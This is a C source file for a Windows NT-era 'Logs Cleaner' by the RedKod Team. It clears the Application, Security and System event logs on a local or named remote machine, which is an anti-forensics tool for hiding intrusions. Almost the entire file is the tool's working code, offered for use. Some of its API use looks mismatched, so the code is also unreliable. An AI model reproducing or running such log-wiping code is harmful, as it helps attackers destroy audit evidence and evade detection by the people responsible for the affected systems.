/*
	______            _  _   __            _ 
	| ___ \          | || | / /           | |
	| |_/ /  ___   __| || |/ /   ___    __| |
	|    /  / _ \ / _` ||    \  / _ \  / _` |
	| |\ \ |  __/| (_| || |\  \| (_) || (_| |
	\_| \_| \___| \__,_|\_| \_/ \___/  \__,_|
                                          
   Logs Cleaner for WinNT Systems (nt4?, 2k, XP)

                - Version 0.1 -
                                      RedKod Team
                                    www.redkod.com
Coder: R-e-D
Mail : r-e-d@redkod.com

*/

#include <windows.h>
#include <stdio.h>

char *DisplayError(void)
{
	LPVOID error;
	char *buffer=NULL;

	FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL,
    GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&error, 0, NULL);
	
	buffer = (char *)GlobalAlloc(GPTR, strlen(error)+1);
	sprintf(buffer, "%s", error);

	return(buffer);
}

int ErareLog(const char *host, const char *type)
{
	HANDLE hEvent;

	hEvent = RegisterEventSource(host, type);
	if(hEvent == NULL)
	{
		fprintf(stderr, "Could not register event source. %s", DisplayError());
        return(-1);
	}

	if(ClearEventLog(hEvent, NULL) == 0)
	{
		fprintf(stderr, "Error while erasing the logfile. %s", DisplayError());
		return(-1);
	}

	fprintf(stdout, "[*] %s log erased.\n", type);

	DeregisterEventSource(hEvent);

	return(0);
}

int main(int argc, char **argv)
{
    char *version = "\nLogs cleaner 0.1 for WinNT systems by R-e-D\n"
					"\thttp://www.redkod.com/\n"
					"\t   r-e-d@redkod.com\n\n";
			
	
	fprintf(stdout, "%s", version);

	if(argc < 3)
	{
		fprintf(stdout, "Usage : %s [\\ComputerName] <-a (Applications) / -e (Security) / -s (System) / -r (All) / -t <name> >\n", argv[0]);
		return(-1);
	}

	switch(argv[2][1])
	{
	case 'a':
		/* Applications */
		ErareLog(argv[1], "Applications");
		break;
    case 'e':
		/* Security */
		ErareLog(argv[1], "Secu");
		break;
	case 's':
		/* System */
		ErareLog(argv[1], "System");
		break;
	case 'r':
		/* All */
		ErareLog(argv[1], "Applications");
		ErareLog(argv[1], "Secu");
		ErareLog(argv[1], "System");
		break;
	case 't':
		/* Type specified by user */
		ErareLog(argv[1], argv[3]);
		break;
	default: 
		/* Uh? */
		fprintf(stdout, "Please, specify a correct event log type.\n");
		return(-1);
		break;
	}

	return(0);
}